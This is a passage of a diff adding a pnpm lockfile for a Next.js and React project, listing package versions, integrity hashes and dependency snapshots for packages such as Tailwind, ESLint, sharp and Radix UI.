sha512-bl6mpH3T7I3UFxuvDEXLxy/VuFxBk5bbzplh7tXI68mwMokNYd1t9qPBHlnyTwfa4JGC4zP516I1hYYtQ/vspA==} + peerDependencies: + tailwindcss: '>=3.0.0 || insiders' + + tailwindcss@3.4.19: + resolution: {integrity: sha512-3ofp+LL8E+pK/JuPLPggVAIaEuhvIz4qNcf3nA1Xn2o/7fb7s/TYpHhwGDv1ZU3PkBluUVaF8PyCHcm48cKLWQ==} + engines: {node: '>=14.0.0'} + hasBin: true + + thenify-all@1.6.0: + resolution: {integrity: sha512-RNxQH/qI8/t3thXJDwcstUO4zeqo64+Uy/+sNVRBx4Xn2OX+OZ9oP+iJnNFqplFra2ZUVeKCSa2oVWi3T4uVmA==} + engines: {node: '>=0.8'} + + thenify@3.3.1: + resolution: {integrity: sha512-RVZSIV5IG10Hk3enotrhvz0T9em6cyHBLkH/YAZuKqd8hRkKhSfCGIcP2KUY0EPxndzANBmNllzWPwak+bheSw==} + + tinyglobby@0.2.16: + resolution: {integrity: sha512-pn99VhoACYR8nFHhxqix+uvsbXineAasWm5ojXoN8xEwK5Kd3/TrhNn1wByuD52UxWRLy8pu+kRMniEi6Eq9Zg==} + engines: {node: '>=12.0.0'} + + to-regex-range@5.0.1: + resolution: {integrity: sha512-65P7iz6X5yEr1cwcgvQxbbIw7Uk3gOy5dIdtZ4rDveLqhrdJP+Li/Hx6tyK0NEb+2GCyneCMJiGqrADCSNk8sQ==} + engines: {node: '>=8.0'} + + ts-api-utils@2.5.0: + resolution: {integrity: sha512-OJ/ibxhPlqrMM0UiNHJ/0CKQkoKF243/AEmplt3qpRgkW8VG7IfOS41h7V8TjITqdByHzrjcS/2si+y4lIh8NA==} + engines: {node: '>=18.12'} + peerDependencies: + typescript: '>=4.8.4' + + ts-interface-checker@0.1.13: + resolution: {integrity: sha512-Y/arvbn+rrz3JCKl9C4kVNfTfSm2/mEp5FSz5EsZSANGPSlQrpRI5M4PKF+mJnE52jOO90PnPSc3Ur3bTQw0gA==} + + tsconfig-paths@3.15.0: + resolution: {integrity: sha512-2Ac2RgzDe/cn48GvOe3M+o82pEFewD3UPbyoUHHdKasHwJKjds4fLXWf/Ux5kATBKN20oaFGu+jbElp1pos0mg==} + + tslib@2.8.1: + resolution: {integrity: sha512-oJFu94HQb+KVduSUQL7wnpmqnfmLsOA/nAh6b6EH0wCEoK0/mPeXU6c3wKDV83MkOuHPRHtSXKKU99IBazS/2w==} + + type-check@0.4.0: + resolution: {integrity: sha512-XleUoc9uwGXqjWwXaUTZAmzMcFZ5858QA2vvx1Ur5xIcixXIP+8LnFDgRplU30us6teqdlskFfu+ae4K79Ooew==} + engines: {node: '>= 0.8.0'} + + typed-array-buffer@1.0.3: + resolution: {integrity: sha512-nAYYwfY3qnzX30IkA6AQZjVbtK6duGontcQm1WSG1MD94YLqK0515GNApXkoxKOWMusVssAHWLh9SeaoefYFGw==} + engines: {node: '>= 0.4'} + + typed-array-byte-length@1.0.3: + resolution: {integrity: sha512-BaXgOuIxz8n8pIq3e7Atg/7s+DpiYrxn4vdot3w9KbnBhcRQq6o3xemQdIfynqSeXeDrF32x+WvfzmOjPiY9lg==} + engines: {node: '>= 0.4'} + + typed-array-byte-offset@1.0.4: + resolution: {integrity: sha512-bTlAFB/FBYMcuX81gbL4OcpH5PmlFHqlCCpAl8AlEzMz5k53oNDvN8p1PNOWLEmI2x4orp3raOFB51tv9X+MFQ==} + engines: {node: '>= 0.4'} + + typed-array-length@1.0.7: + resolution: {integrity: sha512-3KS2b+kL7fsuk/eJZ7EQdnEmQoaho/r6KUef7hxvltNA5DR8NAUM+8wJMbJyZ4G9/7i3v5zPBIMN5aybAh2/Jg==} + engines: {node: '>= 0.4'} + + typescript@5.0.2: + resolution: {integrity: sha512-wVORMBGO/FAs/++blGNeAVdbNKtIh1rbBL2EyQ1+J9lClJ93KiiKe8PmFIVdXhHcyv44SL9oglmfeSsndo0jRw==} + engines: {node: '>=12.20'} + hasBin: true + + unbox-primitive@1.1.0: + resolution: {integrity: sha512-nWJ91DjeOkej/TA8pXQ3myruKpKEYgqvpw9lz4OPHj/NWFNluYrjbz9j01CJ8yKQd2g4jFoOkINCTW2I5LEEyw==} + engines: {node: '>= 0.4'} + + undici-types@6.11.1: + resolution: {integrity: sha512-mIDEX2ek50x0OlRgxryxsenE5XaQD4on5U2inY7RApK3SOJpofyw7uW2AyfMKkhAxXIceo2DeWGVGwyvng1GNQ==} + + unrs-resolver@1.11.1: + resolution: {integrity: sha512-bSjt9pjaEBnNiGgc9rUiHGKv5l4/TGzDmYw3RhnkJGtLhbnnA/5qJj7x3dNDCRx/PJxu774LlH8lCOlB4hEfKg==} + + update-browserslist-db@1.1.3: + resolution: {integrity: sha512-UxhIZQ+QInVdunkDAaiazvvT/+fXL5Osr0JZlJulepYu6Jd7qJtDZjlur0emRlT71EN3ScPoE7gvsuIKKNavKw==} + hasBin: true + peerDependencies: + browserslist: '>= 4.21.0' + + uri-js@4.4.1: + resolution: {integrity: sha512-7rKUyy33Q1yc98pQ1DAmLtwX109F7TIfWlW1Ydo8Wl1ii1SeHieeh0HHfPeL2fMXK6z0s8ecKs9frCuLJvndBg==} + + use-callback-ref@1.3.3: + resolution: {integrity: sha512-jQL3lRnocaFtu3V00JToYz/4QkNWswxijDaCVNZRiRTO3HQDLsdu1ZtmIUvV4yPp+rvWm5j0y0TG/S61cuijTg==} + engines: {node: '>=10'} + peerDependencies: + '@types/react': '*' + react: ^16.8.0 || ^17.0.0 || ^18.0.0 || ^19.0.0 || ^19.0.0-rc + peerDependenciesMeta: + '@types/react': + optional: true + + use-sidecar@1.1.3: + resolution: {integrity: sha512-Fedw0aZvkhynoPYlA5WXrMCAMm+nSWdZt6lzJQ7Ok8S6Q+VsHmHpRWndVRJ8Be0ZbkfPc5LRYH+5XrzXcEeLRQ==} + engines: {node: '>=10'} + peerDependencies: + '@types/react': '*' + react: ^16.8.0 || ^17.0.0 || ^18.0.0 || ^19.0.0 || ^19.0.0-rc + peerDependenciesMeta: + '@types/react': + optional: true + + util-deprecate@1.0.2: + resolution: {integrity: sha512-EPD5q1uXyFxJpCrLnCc1nHnq3gOa6DZBocAIiI2TaSCA7VCJ1UJDMagCzIkXNsUYfD1daK//LTEQ8xiIbrHtcw==} + + which-boxed-primitive@1.1.1: + resolution: {integrity: sha512-TbX3mj8n0odCBFVlY8AxkqcHASw3L60jIuF8jFP78az3C2YhmGvqbHBpAjTRH2/xqYunrJ9g1jSyjCjpoWzIAA==} + engines: {node: '>= 0.4'} + + which-builtin-type@1.2.1: + resolution: {integrity: sha512-6iBczoX+kDQ7a3+YJBnh3T+KZRxM/iYNPXicqk66/Qfm1b93iu+yOImkg0zHbj5LNOcNv1TEADiZ0xa34B4q6Q==} + engines: {node: '>= 0.4'} + + which-collection@1.0.2: + resolution: {integrity: sha512-K4jVyjnBdgvc86Y6BkaLZEN933SwYOuBFkdmBu9ZfkcAbdVbpITnDmjvZ/aQjRXQrv5EPkTnD1s39GiiqbngCw==} + engines: {node: '>= 0.4'} + + which-typed-array@1.1.20: + resolution: {integrity: sha512-LYfpUkmqwl0h9A2HL09Mms427Q1RZWuOHsukfVcKRq9q95iQxdw0ix1JQrqbcDR9PH1QDwf5Qo8OZb5lksZ8Xg==} + engines: {node: '>= 0.4'} + + which@2.0.2: + resolution: {integrity: sha512-BLI3Tl1TW3Pvl70l3yq3Y64i+awpwXqsGBYWkkqMtnbXgrMD+yj7rhW0kuEDxzJaYXGjEW5ogapKNMEKNMjibA==} + engines: {node: '>= 8'} + hasBin: true + + word-wrap@1.2.5: + resolution: {integrity: sha512-BN22B5eaMMI9UMtjrGd5g5eCYPpCPDUy0FJXbYsaT5zYxjFOckS53SQDE3pWkVoWpHXVb3BrYcEN4Twa55B5cA==} + engines: {node: '>=0.10.0'} + + yocto-queue@0.1.0: + resolution: {integrity: sha512-rVksvsnNCdJ/ohGc6xgPwyN8eheCxsiLM8mxuE/t/mOVqJewPuO1miLpTHQiRgTKCLexL4MeAFVagts7HmNZ2Q==} + engines: {node: '>=10'} + + zod@3.24.1: + resolution: {integrity: sha512-muH7gBL9sI1nciMZV67X5fTKKBLtwpZ5VBp1vsOQzj1MhrBZ4wlVCm3gedKZWLp0Oyel8sIGfeiz54Su+OVT+A==} + +snapshots: + + '@alloc/quick-lru@5.2.0': {} + + '@emnapi/core@1.10.0': + dependencies: + '@emnapi/wasi-threads': 1.2.1 + tslib: 2.8.1 + optional: true + + '@emnapi/runtime@1.10.0': + dependencies: + tslib: 2.8.1 + optional: true + + '@emnapi/wasi-threads@1.2.1': + dependencies: + tslib: 2.8.1 + optional: true + + '@eslint-community/eslint-utils@4.9.1(eslint@9.39.4(jiti@1.21.7))': + dependencies: + eslint: 9.39.4(jiti@1.21.7) + eslint-visitor-keys: 3.4.3 + + '@eslint-community/regexpp@4.12.2': {} + + '@eslint/config-array@0.21.2': + dependencies: + '@eslint/object-schema': 2.1.7 + debug: 4.4.3 + minimatch: 3.1.5 + transitivePeerDependencies: + - supports-color + + '@eslint/config-helpers@0.4.2': + dependencies: + '@eslint/core': 0.17.0 + + '@eslint/core@0.17.0': + dependencies: + '@types/json-schema': 7.0.15 + + '@eslint/eslintrc@3.3.5': + dependencies: + ajv: 6.15.0 + debug: 4.4.3 + espree: 10.4.0 + globals: 14.0.0 + ignore: 5.3.2 + import-fresh: 3.3.1 + js-yaml: 4.1.1 + minimatch: 3.1.5 + strip-json-comments: 3.1.1 + transitivePeerDependencies: + - supports-color + + '@eslint/js@9.39.4': {} + + '@eslint/object-schema@2.1.7': {} + + '@eslint/plugin-kit@0.4.1': + dependencies: + '@eslint/core': 0.17.0 + levn: 0.4.1 + + '@floating-ui/core@1.7.2': + dependencies: + '@floating-ui/utils': 0.2.10 + + '@floating-ui/dom@1.7.2': + dependencies: + '@floating-ui/core': 1.7.2 + '@floating-ui/utils': 0.2.10 + + '@floating-ui/react-dom@2.1.4(react-dom@19.0.0(react@19.0.0))(react@19.0.0)': + dependencies: + '@floating-ui/dom': 1.7.2 + react: 19.0.0 + react-dom: 19.0.0(react@19.0.0) + + '@floating-ui/utils@0.2.10': {} + + '@humanfs/core@0.19.2': + dependencies: + '@humanfs/types': 0.15.0 + + '@humanfs/node@0.16.8': + dependencies: + '@humanfs/core': 0.19.2 + '@humanfs/types': 0.15.0 + '@humanwhocodes/retry': 0.4.3 + + '@humanfs/types@0.15.0': {} + + '@humanwhocodes/module-importer@1.0.1': {} + + '@humanwhocodes/retry@0.4.3': {} + + '@img/colour@1.1.0': + optional: true + + '@img/sharp-darwin-arm64@0.34.5': + optionalDependencies: + '@img/sharp-libvips-darwin-arm64': 1.2.4 + optional: true + + '@img/sharp-darwin-x64@0.34.5': + optionalDependencies: + '@img/sharp-libvips-darwin-x64': 1.2.4 + optional: true + + '@img/sharp-libvips-darwin-arm64@1.2.4': + optional: true + + '@img/sharp-libvips-darwin-x64@1.2.4': + optional: true + + '@img/sharp-libvips-linux-arm64@1.2.4': + optional: true + + '@img/sharp-libvips-linux-arm@1.2.4': + optional: true + + '@img/sharp-libvips-linux-ppc64@1.2.4': + optional: true + + '@img/sharp-libvips-linux-riscv64@1.2.4': + optional: true + + '@img/sharp-libvips-linux-s390x@1.2.4': + optional: true + + '@img/sharp-libvips-linux-x64@1.2.4': + optional: true + + '@img/sharp-libvips-linuxmusl-arm64@1.2.4': + optional: true + + '@img/sharp-libvips-linuxmusl-x64@1.2.4': + optional: true + + '@img/sharp-linux-arm64@0.34.5': + optionalDependencies: + '@img/sharp-libvips-linux-arm64': 1.2.4 + optional: true + + '@img/sharp-linux-arm@0.34.5': + optionalDependencies: + '@img/sharp-libvips-linux-arm': 1.2.4 + optional: true + + '@img/sharp-linux-ppc64@0.34.5': + optionalDependencies: + '@img/sharp-libvips-linux-ppc64': 1.2.4 + optional: true + + '@img/sharp-linux-riscv64@0.34.5': + optionalDependencies: + '@img/sharp-libvips-linux-riscv64': 1.2.4 + optional: true + + '@img/sharp-linux-s390x@0.34.5': + optionalDependencies: + '@img/sharp-libvips-linux-s390x': 1.2.4 + optional: true + + '@img/sharp-linux-x64@0.34.5': + optionalDependencies: + '@img/sharp-libvips-linux-x64': 1.2.4 + optional: true + + '@img/sharp-linuxmusl-arm64@0.34.5': + optionalDependencies: + '@img/sharp-libvips-linuxmusl-arm64': 1.2.4 + optional: true + + '@img/sharp-linuxmusl-x64@0.34.5': + optionalDependencies: + '@img/sharp-libvips-linuxmusl-x64': 1.2.4 + optional: true + + '@img/sharp-wasm32@0.34.5': + dependencies: + '@emnapi/runtime': 1.10.0 + optional: true + + '@img/sharp-win32-arm64@0.34.5': + optional: true + + '@img/sharp-win32-ia32@0.34.5': + optional: true + + '@img/sharp-win32-x64@0.34.5': + optional: true + + '@jridgewell/gen-mapping@0.3.13': + dependencies: + '@jridgewell/sourcemap-codec': 1.5.5 + '@jridgewell/trace-mapping': 0.3.31 + + '@jridgewell/resolve-uri@3.1.2': {} + + '@jridgewell/sourcemap-codec@1.5.5': {} + + '@jridgewell/trace-mapping@0.3.31': + dependencies: + '@jridgewell/resolve-uri': 3.1.2 + '@jridgewell/sourcemap-codec': 1.5.5 + + '@napi-rs/wasm-runtime@0.2.12': + dependencies: + '@emnapi/core': 1.10.0 + '@emnapi/runtime': 1.10.0 + '@tybys/wasm-util': 0.10.2 + optional: true + + '@next/env@15.5.18': {} + + '@next/eslint-plugin-next@15.5.18': + dependencies: + fast-glob: 3.3.1 + + '@next/swc-darwin-arm64@15.5.18': + optional: true + + '@next/swc-darwin-x64@15.5.18': + optional: true + + '@next/swc-linux-arm64-gnu@15.5.18': + optional: true + + '@next/swc-linux-arm64-musl@15.5.18': + optional: true + + '@next/swc-linux-x64-gnu@15.5.18': + optional: true + + '@next/swc-linux-x64-musl@15.5.18': + optional: true + + '@next/swc-win32-arm64-msvc@15.5.18': + optional: true + + '@next/swc-win32-x64-msvc@15.5.18': + optional: true + + '@nodelib/fs.scandir@2.1.5': + dependencies: + '@nodelib/fs.stat': 2.0.5 + run-parallel: 1.2.0 + + '@nodelib/fs.stat@2.0.5': {} + + '@nodelib/fs.walk@1.2.8': + dependencies: + '@nodelib/fs.scandir': 2.1.5 + fastq: 1.20.1 + + '@nolyfill/is-core-module@1.0.39': {} + + '@playwright/test@1.60.0': + dependencies: + playwright: 1.60.0 + + '@radix-ui/primitive@1.1.3': {} + + '@radix-ui/react-arrow@1.1.7(@types/react-dom@19.0.0)(@types/react@19.0.0)(react-dom@19.0.0(react@19.0.0))(react@19.0.0)': + dependencies: + '@radix-ui/react-primitive': 2.1.3(@types/react-dom@19.0.0)(@types/react@19.0.0)(react-dom@19.0.0(react@19.0.0))(react@19.0.0) + react: 19.0.0 + react-dom: 19.0.0(react@19.0.0) + optionalDependencies: + '@types/react': 19.0.0 + '@types/react-dom': 19.0.0 + + '@radix-ui/react-collection@1.1.7(@types/react-dom@19.0.0)(@types/react@19.0.0)(react-dom@19.0.0(react@19.0.0))(react@19.0.0)': + dependencies: + '@radix-ui/react-compose-refs': 1.1.2(@types/react@19.0.0)(react@19.0.0) + '@radix-ui/react-context': 1.1.2(@types/react@19.0.0)(react@19.0.0) + '@radix-ui/react-primitive': 2.1.3(@types/react-dom@19.0.0)(@types/react@19.0.0)(react-dom@19.0.0(react@19.0.0))(react@19.0.0) + '@radix-ui/react-slot': 1.2.3(@types/react@19.0.0)(react@19.0.0) + react: 19.0.0 + react-dom: 19.0.0(react@19.0.0) + optionalDependencies: + '@types/react': 19.0.0 + '@types/react-dom': 19.0.0 + + '@radix-ui/react-compose-refs@1.1.2(@types/react@19.0.0)(react@19.0.0)': + dependencies: + react: 19.0.0 + optionalDependencies: + '@types/react': 19.0.0 + + '@radix-ui/react-context@1.1.2(@types/react@19.0.0)(react@19.0.0)': + dependencies: + react: 19.0.0 + optionalDependencies: + '@types/react': 19.0.0 + + '@radix-ui/react-dialog@1.1.15(@types/react-dom@19.0.0)(@types/react@19.0.0)(react-dom@19.0.0(react@19.0.0))(react@19.0.0)': + dependencies: + '@radix-ui/primitive': 1.1.3 + '@radix-ui/react-compose-refs': 1.1.2(@types/react@19.0.0)(react@19.0.0) + '@radix-ui/react-context': 1.1.2(@types/react@19.0.0)(react@19.0.0) + '@radix-ui/react-dismissable-layer': 1.1.11(@types/react-dom@19.0.0)(@types/react@19.0.0)(react-dom@19.0.0(react@19.0.0))(react@19.0.0) + '@radix-ui/react-focus-guards': 1.1.3(@types/react@19.0.0)(react@19.0.0) + '@radix-ui/react-focus-scope': 1.1.7(@types/react-dom@19.0.0)(@types/react@19.0.0)(react-dom@19.0.0(react@19.0.0))(react@19.0.0) + '@radix-ui/react-id': 1.1.1(@types/react@19.0.0)(react@19.0.0) + '@radix-ui/react-portal': 1.1.9(@types/react-dom@19.0.0)(@types/react@19.0.0)(react-dom@19.0.0(react@19.0.0))(react@19.0.0) + '@radix-ui/react-presence': 1.1.5(@types/react-dom@19.0.0)(@types/react@19.0.0)(react-dom@19.0.0(react@19.0.0))(react@19.0.0) + '@radix-ui/react-primitive': 2.1.3(@types/react-dom@19.0.0)(@types/react@19.0.0)(react-dom@19.0.0(react@19.0.0))(react@19.0.0) + '@radix-ui/react-slot': 1.2.3(@types/react@19.0.0)(react@19.0.0) + '@radix-ui/react-use-controllable-state': 1.2.2(@types/react@19.0.0)(react@19.0.0) + aria-hidden: 1.2.6 + react: 19.0.0 + react-dom: 19.0.0(react@19.0.0) + react-remove-scroll: 2.7.1(@types/react@19.0.0)(react@19.0.0) + optionalDependencies: + '@types/react': 19.0.0 + '@types/react-dom': 19.0.0 + + '@radix-ui/react-dismissable-layer@1.1.11(@types/react-dom@19.0.0)(@types/react@19.0.0)(react-dom@19.0.0(react@19.0.0))(react@19.0.0)': + dependencies: + '@radix-ui/primitive': 1.1.3 + '@radix-ui/react-compose-refs': 1.1.2(@types/react@19.0.0)(react@19.0.0) + '@radix-ui/react-primitive': 2.1.3(@types/react-dom@19.0.0)(@types/react@19.0.0)(react-dom@19.0.0(react@19.0.0))(react@19.0.0) + '@radix-ui/react-use-callback-ref': 1.1.1(@types/react@19.0.0)(react@19.0.0) + '@radix-ui/react-use-escape-keydown': 1.1.1(@types/react@19.0.0)(react@19.0.0) + react: 19.0.0 + react-dom: 19.0.0(react@19.0.0) + optionalDependencies: + '@types/react': 19.0.0 + '@types/react-dom': 19.0.0 + + '@radix-ui/react-focus-guards@1.1.3(@types/react@19.0.0)(react@19.0.0)': + dependencies: + react: 19.0.0 + optionalDependencies: + '@types/react': 19.0.0 + + '@radix-ui/react-focus-scope@1.1.7(@types/react-dom@19.0.0)(@types/react@19.0.0)(react-dom@19.0.0(react@19.0.0))(react@19.0.0)': + dependencies: + '@radix-ui/react-compose-refs': 1.1.2(@types/react@19.0.0)(react@19.0.0) + '@radix-ui/react-primitive': 2.1.3(@types/react-dom@19.0.0)(@types/react@19.0.0)(react-dom@19.0.0(react@19.0.0))(react@19.0.0) + '@radix-ui/react-use-callback-ref': 1.1.1(@types/react@19.0.0)(react@19.0.0) + react: 19.0.0 + react-dom: 19.0.0(react@19.0.0) + optionalDependencies: + '@types/react': 19.0.0 + '@types/react-dom': 19.0.0 + + '@radix-ui/react-id@1.1.1(@types/react@19.0.0)(react@19.0.0)': + dependencies: + '@radix-ui/react-use-layout-effect': 1.1.1(@types/react@19.0.0)(react@19.0.0) + react: 19.0.0 + optionalDependencies: + '@types/react': 19.0.0 + + '@radix-ui/react-popper@1.2.8(@types/react-dom@19.0.0)(@types/react@19.0.0)(react-dom@19.0.0(react@19.0.0))(react@19.0.0)': + dependencies: + '@floating-ui/react-dom': 2.1.4(react-dom@19.0.0(react@19.0.0))(react@19.0.0) + '@radix-ui/react-arrow': 1.1.7(@types/react-dom@19.0.0)(@types/react@19.0.0)(react-dom@19.0.0(react@19.0.0))(react@19.0.0) + '@radix-ui/react-compose-refs': 1.1.2(@types/react@19.0.0)(react@19.0.0) + '@radix-ui/react-context': 1.1.2(@types/react@19.0.0)(react@19.0.0) + '@radix-ui/react-primitive': 2.1.3(@types/react-dom@19.0.0)(@types/react@19.0.0)(react-dom@19.0.0(react@19.0.0))(react@19.0.0) + '@radix-ui/react-use-callback-ref': 1.1.1(@types/react@19.0.0)(react@19.0.0) + '@radix-ui/react-use-layout-effect': 1.1.1(@types/react@19.0.0)(react@19.0.0) + '@radix-ui/react-use-rect': 1.1.1(@types/react@19.0.0)(react@19.0.0) + '@radix-ui/react-use-size': 1.1.1(@types/react@19.0.0)(react@19.0.0) + '@radix-ui/rect': 1.1.1 + react: 19.0.0 + react-dom: 19.0.0(react@19.0.0) + optionalDependencies: + '@types/react': 19.0.0 + '@types/react-dom': 19.0.0 + + '@radix-ui/react-portal@1.1.9(@types/react-dom@19.0.0)(@types/react@19.0.0)(react-dom@19.0.0(react@19.0.0))(react@19.0.0)': + dependencies: + '@radix-ui/react-primitive': 2.1.3(@types/react-dom@19.0.0)(@types/react@19.0.0)(react-dom@19.0.0(react@19.0.0))(react@19.0.0) + '@radix-ui/react-use-layout-effect': 1.1.1(@types/react@19.0.0)(react@19.0.0) + react: 19.0.0 + react-dom: 19.0.0(react@19.0.0) + optionalDependencies: + '@types/react': 19.0.0 + '@types/react-dom': 19.0.0 + + '@radix-ui/react-presence@1.1.5(@types/react-dom@19.0.0)(@types/react@19.0.0)(react-dom@19.0.0(react@19.0.0))(react@19.0.0)': + dependencies: + '@radix-ui/react-compose-refs': 1.1.2(@types/react@19.0.0)(react@19.0.0) + '@radix-ui/react-use-layout-effect': 1.1.1(@types/react@19.0.0)(react@19.0.0) + react: 19.0.0 + react-dom: 19.0.0(react@19.0.0) + optionalDependencies: + '@types/react': 19.0.0 + '@types/react-dom': 19.0.0 + + '@radix-ui/react-primitive@2.1.3(@types/react-dom@19.0.0)(@types/react@19.0.0)(react-dom@19.0.0(react@19.0.0))(react@19.0.0)': + dependencies: + '@radix-ui/react-slot': 1.2.3(@types/react@19.0.0)(react@19.0.0) + react: 19.0.0 + react-dom: 19.0.0(react@19.0.0) + optionalDependencies: + '@types/react': 19.0.0 + '@types/react-dom': 19.0.0 + + '@radix-ui/react-primitive@2.1.4(@types/react-dom@19.0.0)(@types/react@19.0.0)(react-dom@19.0.0(react@19.0.0))(react@19.0.0)': + dependencies: + '@radix-ui/react-slot': 1.2.4(@types/react@19.0.0)(react@19.0.0) + react: 19.0.0 + react-dom: 19.0.0(react@19.0.0) + optionalDependencies: + '@types/react': 19.0.0 + '@types/react-dom': 19.0.0 + + '@radix-ui/react-separator@1.1.8(@types/react-dom@19.0.0)(@types/react@19.0.0)(react-dom@19.0.0(react@19.0.0))(react@19.0.0)': + dependencies: + '@radix-ui/react-primitive': 2.1.4(@types/react-dom@19.0.0)(@types/react@19.0.0)(react-dom@19.0.0(react@19.0.0))(react@19.0.0) + react: 19.0.0 + react-dom: 19.0.0(react@19.0.0) + optionalDependencies: + '@types/react': 19.0.0 + '@types/react-dom': 19.0.0 + + '@radix-ui/react-slot@1.2.3(@types/react@19.0.0)(react@19.0.0)': + dependencies: + '@radix-ui/react-compose-refs': 1.1.2(@types/react@19.0.0)(react@19.0.0) + react: 19.0.0 + optionalDependencies: + '@types/react': 19.0.0 + + '@radix-ui/react-slot@1.2.4(@types/react@19.0.0)(react@19.0.0)': + dependencies: + '@radix-ui/react-compose-refs': 1.1.2(@types/react@19.0.0)(react@19.0.0) + react: 19.0.0 + optionalDependencies: + '@types/react': 19.0.0 + + '@radix-ui/react-switch@1.2.6(@types/react-dom@19.0.0)(@types/react@19.0.0)(react-dom@19.0.0(react@19.0.0))(react@19.0.0)': + dependencies: + '@radix-ui/primitive': 1.1.3 + '@radix-ui/react-compose-refs': 1.1.2(@types/react@19.0.0)(react@19.0.0) + '@radix-ui/react-context': 1.1.2(@types/react@19.0.0)(react@19.0.0) + '@radix-ui/react-primitive': 2.1.3(@types/react-dom@19.0.0)(@types/react@19.0.0)(react-dom@19.0.0(react@19.0.0))(react@19.0.0) + '@radix-ui/react-use-controllable-state': 1.2.2(@types/react@19.0.0)(react@19.0.0) + '@radix-ui/react-use-previous': 1.1.1(@types/react@19.0.0)(react@19.0.0) + '@radix-ui/react-use-size': 1.1.1(@types/react@19.0.0)(react@19.0.0) + react: 19.0.0 + react-dom: 19.0.0(react@19.0.0) + optionalDependencies: + '@types/react': 19.0.0 + '@types/react-dom': 19.0.0 + + '@radix-ui/react-toast@1.2.15(@types/react-dom@19.0.0)(@types/react@19.0.0)(react-dom@19.0.0(react@19.0.0))(react@19.0.0)': + dependencies: + '@radix-ui/primitive': 1.1.3 + '@radix-ui/react-collection': 1.1.7(@types/react-dom@19.0.0)(@types/react@19.0.0)(react-dom@19.0.0(react@19.0.0))(react@19.0.0) + '@radix-ui/react-compose-refs': 1.1.2(@types/react@19.0.0)(react@19.0.0) + '@radix-ui/react-context': 1.1.2(@types/react@19.0.0)(react@19.0.0) + '@radix-ui/react-dismissable-layer': 1.1.11(@types/react-dom@19.0.0)(@types/react@19.0.0)(react-dom@19.0.0(react@19.0.0))(react@19.0.0) + '@radix-ui/react-portal': 1.1.9(@types/react-dom@19.0.0)(@types/react@19.0.0)(react-dom@19.0.0(react@19.0.0))(react@19.0.0) + '@radix-ui/react-presence': 1.1.5(@types/react-dom@19.0.0)(@types/react@19.0.0)(react-dom@19.0.0(react@19.0.0))(react@19.0.0) + '@radix-ui/react-primitive': 2.1.3(@types/react-dom@19.0.0)(@types/react@19.0.0)(react-dom@19.0.0(react@19.0.0))(react@19.0.0) + '@radix-ui/react-use-callback-ref': 1.1.1(@types/react@19.0.0)(react@19.0.0) + '@radix-ui/react-use-controllable-state': 1.2.2(@types/react@19.0.0)(react@19.0.0) + '@radix-ui/react-use-layout-effect': 1.1.1(@types/react@19.0.0)(react@19.0.0) + '@radix-ui/react-visually-hidden': 1.2.3(@types/react-dom@19.0.0)(@types/react@19.0.0)(react-dom@19.0.0(react@19.0.0))(react@19.0.0) + react: 19.0.0 + react-dom: 19.0.0(react@19.0.0) + optionalDependencies: + '@types/react': 19.0.0 + '@types/react-dom': 19.0.0 + + '@radix-ui/react-tooltip@1.2.8(@types/react-dom@19.0.0)(@types/react@19.0.0)(react-dom@19.0.0(react@19.0.0))(react@19.0.0)': + dependencies: + '@radix-ui/primitive': 1.1.3 + '@radix-ui/react-compose-refs': 1.1.2(@types/react@19.0.0)(react@19.0.0) + '@radix-ui/react-context': 1.1.2(@types/react@19.0.0)(react@19.0.0) + '@radix-ui/react-dismissable-layer': 1.1.11(@types/react-dom@19.0.0)(@types/react@19.0.0)(react-dom@19.0.0(react@19.0.0))(react@19.0.0) + '@radix-ui/react-id': 1.1.1(@types/react@19.0.0)(react@19.0.0) + '@radix-ui/react-popper': 1.2.8(@types/react-dom@19.0.0)(@types/react@19.0.0)(react-dom@19.0.0(react@19.0.0))(react@19.0.0) + '@radix-ui/react-portal': 1.1.9(@types/react-dom@19.0.0)(@types/react@19.0.0)(react-dom@19.0.0(react@19.0.0))(react@19.0.0) + '@radix-ui/react-presence': 1.1.5(@types/react-dom@19.0.0)(@types/react@19.0.0)(react-dom@19.0.0(react@19.0.0))(react@19.0.0) + '@radix-ui/react-primitive': 2.1.3(@types/react-dom@19.0.0)(@types/react@19.0.0)(react-dom@19.0.0(react@19.0.0))(react@19.0.0) + '@radix-ui/react-slot': 1.2.3(@types/react@19.0.0)(react@19.0.0) + '@radix-ui/react-use-controllable-state': 1.2.2(@types/react@19.0.0)(react@19.0.0) + '@radix-ui/react-visually-hidden': 1.2.3(@types/react-dom@19.0.0)(@types/react@19.0.0)(react-dom@19.0.0(react@19.0.0))(react@19.0.0) + react: 19.0.0 + react-dom: 19.0.0(react@19.0.0) + optionalDependencies: + '@types/react': 19.0.0 + '@types/react-dom': 19.0.0 + + '@radix-ui/react-use-callback-ref@1.1.1(@types/react@19.0.0)(react@19.0.0)': + dependencies: + react: 19.0.0 + optionalDependencies: + '@types/react': 19.0.0 + + '@radix-ui/react-use-controllable-state@1.2.2(@types/react@19.0.0)(react@19.0.0)': + dependencies: + '@radix-ui/react-use-effect-event': 0.0.2(@types/react@19.0.0)(react@19.0.0) + '@radix-ui/react-use-layout-effect': 1.1.1(@types/react@19.0.0)(react@19.0.0) + react: 19.0.0 + optionalDependencies: + '@types/react': 19.0.0 + + '@radix-ui/react-use-effect-event@0.0.2(@types/react@19.0.0)(react@19.0.0)': + dependencies: + '@radix-ui/react-use-layout-effect': 1.1.1(@types/react@19.0.0)(react@19.0.0) + react: 19.0.0 + optionalDependencies: + '@types/react': 19.0.0 + + '@radix-ui/react-use-escape-keydown@1.1.1(@types/react@19.0.0)(react@19.0.0)': + dependencies: + '@radix-ui/react-use-callback-ref': 1.1.1(@types/react@19.0.0)(react@19.0.0) + react: 19.0.0 + optionalDependencies: + '@types/react': 19.0.0 + + '@radix-ui/react-use-layout-effect@1.1.1(@types/react@19.0.0)(react@19.0.0)': + dependencies: + react: 19.0.0 + optionalDependencies: + '@types/react': 19.0.0 + + '@radix-ui/react-use-previous@1.1.1(@types/react@19.0.0)(react@19.0.0)': + dependencies: + react: 19.0.0 + optionalDependencies: + '@types/react': 19.0.0 + + '@radix-ui/react-use-rect@1.1.1(@types/react@19.0.0)(react@19.0.0)': + dependencies: + '@radix-ui/rect': 1.1.1 + react: 19.0.0 + optionalDependencies: + '@types/react': 19.0.0 + + '@radix-ui/react-use-size@1.1.1(@types/react@19.0.0)(react@19.0.0)': + dependencies: + '@radix-ui/react-use-layout-effect': 1.1.1(@types/react@19.0.0)(react@19.0.0) + react: 19.0.0 + optionalDependencies: + '@types/react': 19.0.0 + + 